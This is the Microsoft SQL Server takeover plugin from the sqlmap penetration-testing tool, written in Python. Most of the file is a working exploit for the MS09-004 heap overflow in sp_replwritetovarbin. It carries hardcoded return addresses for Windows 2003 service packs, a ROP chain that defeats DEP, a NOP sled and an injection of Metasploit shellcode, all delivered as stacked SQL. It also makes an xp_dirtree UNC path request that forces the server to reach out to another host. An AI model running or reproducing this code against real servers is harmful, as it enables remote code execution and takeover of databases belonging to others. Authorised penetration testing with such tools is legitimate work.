#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import binascii

from lib.core.common import Backend
from lib.core.compat import xrange
from lib.core.convert import getBytes
from lib.core.data import logger
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.request import inject
from plugins.generic.takeover import Takeover as GenericTakeover

class Takeover(GenericTakeover):
    def __init__(self):
        self.spExploit = ""

        GenericTakeover.__init__(self)

    def uncPathRequest(self):
        # inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
        inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)

    def spHeapOverflow(self):
        """
        References:
        * https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-004
        * https://support.microsoft.com/en-us/help/959420/ms09-004-vulnerabilities-in-microsoft-sql-server-could-allow-remote-co
        """

        returns = {
            # 2003 Service Pack 0
            "2003-0": (""),

            # 2003 Service Pack 1
            "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)"),

            # 2003 Service Pack 2 updated at 12/2008
            # "2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)"),

            # 2003 Service Pack 2 updated at 05/2009
            "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"),

            # 2003 Service Pack 2 updated at 09/2009
            # "2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
        }

        addrs = None

        for versionSp, data in returns.items():
            version, sp = versionSp.split("-")
            sp = int(sp)

            if Backend.getOsVersion() == version and Backend.getOsServicePack() == sp:
                addrs = data

                break

        if not addrs:
            errMsg = "sqlmap can not exploit the stored procedure buffer "
            errMsg += "overflow because it does not have a valid return "
            errMsg += "code for the underlying operating system (Windows "
            errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack())
            raise SqlmapUnsupportedFeatureException(errMsg)

        shellcodeChar = ""
        hexStr = binascii.hexlify(getBytes(self.shellcodeString[:-1]))

        for hexPair in xrange(0, len(hexStr), 2):
            shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2]

        shellcodeChar = shellcodeChar[:-1]

        self.spExploit = """DECLARE @buf NVARCHAR(4000),
        @val NVARCHAR(4),
        @counter INT
        SET @buf = '
        DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
        EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
        SET @val = CHAR(0x41)
        SET @counter = 0
        WHILE @counter < 3320
        BEGIN
          SET @counter = @counter + 1
          IF @counter = 411
          BEGIN
            /* pointer to call [ecx+8] */
            SET @buf = @buf + %s

            /* push ebp, pop esp, ret 4 */
            SET @buf = @buf + %s

            /* push ecx, pop esp, pop ebp, retn 8 */
            SET @buf = @buf + %s

            /* Garbage */
            SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)

            /* retn 1c */
            SET @buf = @buf + %s

            /* retn 1c */
            SET @buf = @buf + %s

            /* anti DEP */
            SET @buf = @buf + %s

            /* jmp esp */
            SET @buf = @buf + %s

            /* jmp esp */
            SET @buf = @buf + %s

            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)

            set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
            set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
            set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)

            /* Metasploit shellcode */
            SET @buf = @buf + %s

            SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
            SET @counter = @counter + 302
            SET @val =  CHAR(0x43)
            CONTINUE
          END
          SET @buf = @buf + @val
        END
        SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
        EXEC master..sp_executesql @buf
        """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)

        self.spExploit = self.spExploit.replace("    ", "").replace("\n", " ")

        logger.info("triggering the buffer overflow vulnerability, please wait..")
        inject.goStacked(self.spExploit, silent=True)